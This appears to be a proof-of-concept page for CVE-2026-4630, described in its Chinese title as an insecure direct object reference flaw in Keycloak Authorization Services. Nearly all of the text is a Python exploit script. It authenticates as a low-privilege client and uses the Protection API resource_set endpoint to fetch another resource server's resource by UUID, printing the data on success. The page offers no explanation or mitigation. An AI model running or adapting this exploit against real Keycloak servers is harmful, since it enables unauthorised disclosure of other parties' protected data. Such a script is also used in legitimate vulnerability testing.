CVE-2026-4630 Keycloak授权服务IDOR漏洞

import requests # Configuration KEYCLOAK_URL = "https://keycloak.example.com" REALM = "master" CLIENT_ID = "attacker-client" CLIENT_SECRET = "attacker-secret" TARGET_UUID = "b8e08e4e-1e7b-4e3c-9c2f-1d4e5f6a7b8c" # UUID of victim's resource # 1. Authenticate as a low-privilege client to get a token auth_url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" auth_data = { "grant_type": "client_credentials", "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET } auth_resp = requests.post(auth_url, data=auth_data) access_token = auth_resp.json().get("access_token") if access_token: print(f"[+] Authenticated. Token: {access_token[:20]}...") # 2. Exploit IDOR - Access another resource server's resource using the UUID # Endpoint: Authorization Services Protection API target_api_url = f"{KEYCLOAK_URL}/realms/{REALM}/authz/protection/resource_set/{TARGET_UUID}" headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Attempting GET (Information Disclosure) response = requests.get(target_api_url, headers=headers) if response.status_code == 200: print(f"[+] Exploit Successful! Retrieved resource data:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) else: print("[-] Authentication failed.")